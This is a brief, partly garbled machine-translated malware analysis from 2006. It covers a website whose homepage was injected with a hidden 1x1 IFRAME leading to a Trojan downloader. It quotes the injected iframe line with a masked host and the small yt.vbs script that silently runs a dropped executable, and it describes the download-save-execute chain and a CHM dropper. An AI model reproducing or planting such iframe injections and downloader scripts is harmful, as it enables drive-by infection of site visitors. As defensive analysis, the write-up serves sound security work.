A website added to download code of Trojan. DL. Agent. yhm

EndurerOriginal
2006-12-181Version

Website homepage addedCode:

/----------
<IFRAME src = hxxp: // * 58. 215. * 65.2*1/*****/k.htm width = 1 Height = 1 frameborder = 0> </iframe>
---------/

K.htmKaspersky reportsTrojan-Downloader.JS.Agent.bzThe content can be divided into four sections.
Section 1st:
Use Microsoft. XMLHTTP and SCR using pting. FileSystemObject to download the xxxx.exe file, save it as C:/Windows/qing.exe, and run it using the ShellExecute method of the shell. Application object.

Xxxx.exeCompile with Watcom C/C ++ EXE,
/-------
File Description: D:/xxxx.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 12:51:52
Modification time:
Access time: 12:55:36
Size: 19968 bytes, 19.512 KB
MD5: d66859a23da1_c0ca9e8daf387565b9
-------/
Kaspersky reports:Trojan-Downloader.Win32.Agent.ue, Rising:Trojan. DL. Agent. yhm.

Paragraphs 2nd and 3:
Is a VBScript encrypted multiple times with Unescape () and encode.ProgramTo download yt. vbs, save it as % Temp %/yt. vbs, and run it.
Yt. vbsThe content is:
/--------------
Wscript. Sleep 0
Wscript. Createobject ("wscript. Shell"). Run "C:/Windows/qing.exe", 0
--------------/
The function is to run the C:/Windows/qing.exe file downloaded from the 1st-segment code.

Section 4th:
Open the web page count.html
Count.html is actually a CHM file that releases and runs QQ. EXE.
ThisQQ. exeIt is exactly the same as xxxx.exe In the example.